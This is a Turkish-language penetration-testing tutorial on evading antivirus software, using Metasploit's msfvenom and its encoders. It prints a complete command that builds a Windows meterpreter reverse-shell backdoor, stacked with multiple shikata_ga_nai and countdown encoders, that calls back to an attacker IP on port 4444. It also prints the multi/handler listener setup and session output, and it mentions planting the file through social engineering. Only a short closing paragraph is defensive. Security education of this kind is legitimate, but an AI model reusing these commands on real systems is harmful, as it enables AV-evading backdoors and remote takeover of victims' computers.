Antivirüs programını atlatmak için antivirüs programını tanımalıyız. Antivirüs programları bir sandbox ortamı kurarak dosyayı bu alanda çalıştırır ve burada uygulamanın hareketlerini kendince ölçer. Çalışma anında ise nereden dosya okuduğunu, nereye yazdığını kontrol etmektedir (örn. Registerlar, …). Bazende daha önce tespit ettiği virüs uygulamasına imza kontrolu ile müdahale etmektedir.
Bir çok antivirüs teknolojisi olmasına rağmen bu yazılımlar temelde iki şekilde çalışır:
- İmza tabanlı (Signature Based) (hızlı sonuç)
- Sezgisel (heuristic)
Bilgisayar Virüsü Nedir?
Bilgisayar virüsü, kullanıcının izni ya da bilgisi dahilinde olmadan bilgisayarın çalışma şeklini değiştiren ve kendini diğer dosyaların içerisinde gizlemeye çalışan aslında bir tür bilgisayar programıdır.
Sızma testlerinde, antivirüs atlatılarak hedef sistem ele geçirmek istenilebilir ve bu zararlı kodlar kurban bilgisayarına yerleştirilmek istenebilir. Antivirüs atlatmak için kullanılan teknikler genellikle encode ederek yapılmaktadır. Hacker genelde çalışan dosya akışını müdahale ederek istediği yönlendirmeyi yapmaktadır. Hacker antivirüse takılmamak için çalıştırabilir dosyayı encode eder. Çalıştırılabilir dosya içine küçük decoder programlar yerleştirilir. Uygulama çalışma anında virüs programını decode ederek virüs programı aktif hale getirecektir. Antivirüs encode edilmiş kodları yorumladığından (decode etmediğinden) dosyaya müdahele edemiyecektir. Bundan dolayı uygulamanın zararlı olmadığını düşünecektir.
Aşağıdaki resimde gösterildiği gibi solda normal uygulama, sağda encode edilmiş uygulamanın yapısı gösterilmiştir. En alt kısımda uygulamaya çalışmaya başladığında çözen kısım bulunmaktadır. Çalışma anında ise uygulamanın orjinal hali aktif olacaktır. Yani çalışma anında uygulama sol taraftaki olduğunu düşünebiliriz.
Sızma testlerinde veya sosyal mühendislik testlerinde, kurban bilgisayara metasploit’in payload’u olan meterpreter ile shell açılabilmektedir. Bunun için oluşturacağımız payload antivirüs programlarına takılmaktadır. Bunu atlatmak için belirttiğimiz gibi encode etme tekniklerini uygulayacağız.
Metasploit framework yardımıyla bir arka kapı oluşturacağız. Bir şekilde üretilen dosya (encode edilmemiş kod ) antivirus programına takılacağından üretilen dosyayı encode edeceğiz. Önce metasploit yardımıyla bir arka kapı oluşturalım. Bu dosya windowsda çalışabilir bir dosya üretecektir. Bu dosya çalıştıktan sonra reverse bağlantı ile bize 4444 portu üzerinden bizimle bağlantı oluşturacaktır.
Msfvenom Nedir?
Msfvenom, metasploit ile gelen zararlı kod üretmek ve kurban pc’den reverse bağlantı sağlayan bir araçtır. Reverse shell açabilmek için oluşturulan dosya karşı tarafta çalıştırılması gerekmektedir. Bunun için sosyal mühendislik yöntemleri gereklidir.
Msfvenom Kullanımı
Msfvenom ile arka kapı oluşturma;
Msfvenom ile oluşturulan dosyayı virustotal’a yükleyelim. (Virustotal farklı antivirüs programlarının bulunduğu, dosya taraması yapan bir web sitedir.)
Msfvenomla zararlı yazılım ve shellcode ürettiğimiz gibi, encode da edilebilmektedir.
Rank satırlarında encoder güçlüklerini belirtmektedir. Biz burada excellent encoder frame’lerini kullanacağız.
Encode işlemini birden fazla yapmak için –i veya –iterations parametlerini kullanılır. Bu işlemler yapıldığı antivirus firmaları tarafından bilindiğinden ve virüs yazılımları imza veritabanlarında bulunduğundan bulmaları kolay olabilir. Bunu atlatabilmek için farklı encode tekniklerini aynı dosya üzerinde çalıştırabiliriz.
root@kali: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.13 LPORT=4444 -f raw –e x86/shikata_ga_nai -i 5 | msfvenom -a x86 –f --platform windows –e x86/countdown –i 8 –f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe –o btriskpayload.exe
Oluşan payload’u virustotal yüklendiğinde daha fazla antivüs atlatı. Fakat bazıları payload’u yakalayabiliyor.
Reverse Shell Açma
Zararlı yazılım oluşturuldu, ama bunu kontrol edecek bir durum yoksa bir işe yaramaz. Uzaktan kontrol edebilmek için metasploit ile kurban bilsayarı arasında session kurmamızdır.
Msfconsole açtıktan sonra
msf exploit (handler) > use exploit/multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_tcp
msf exploit (handler) > set LHOST 192.168.2.13 // saldırgan IP
msf exploit (handler) > set LPORT 4444 // saldırgan port
msf exploit (handler) > exploit //dinleme modu
Kurban makinede açılan zararlı yazılım bize istekte bulunacaktır. Otomatik olarak geçiş yapacaktır. Çok fazla kurban cihazı olduğunda session listelenen oturumlardan seçim yapılabilmektedir. Dinleme modu başlatırken kullanılan komut şu şekilde olacaktır.
meterpreter > background
msf exploit(handler) > sessions –l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444
gelen sessionlardan biri session id değeri ile seçilir.
msf exploit(handler) > sessions –i 1
[*] Starting interaction with 1...
meterpreter >
Zararlı Yazılımlardan Nasıl Kurtulunur?
End-point noktasında koruma antivirus ile olmaktadır. Eğer böyle ise antivirüs uygulamaları signature temelli çalıştıklarından güncel olmasına dikkat edilmelidir. Eğer zamanınız varsa uygulamaları statik ve dinamik analiz ederek zararlı olmadığını düşündükten sonra kurmalısınız.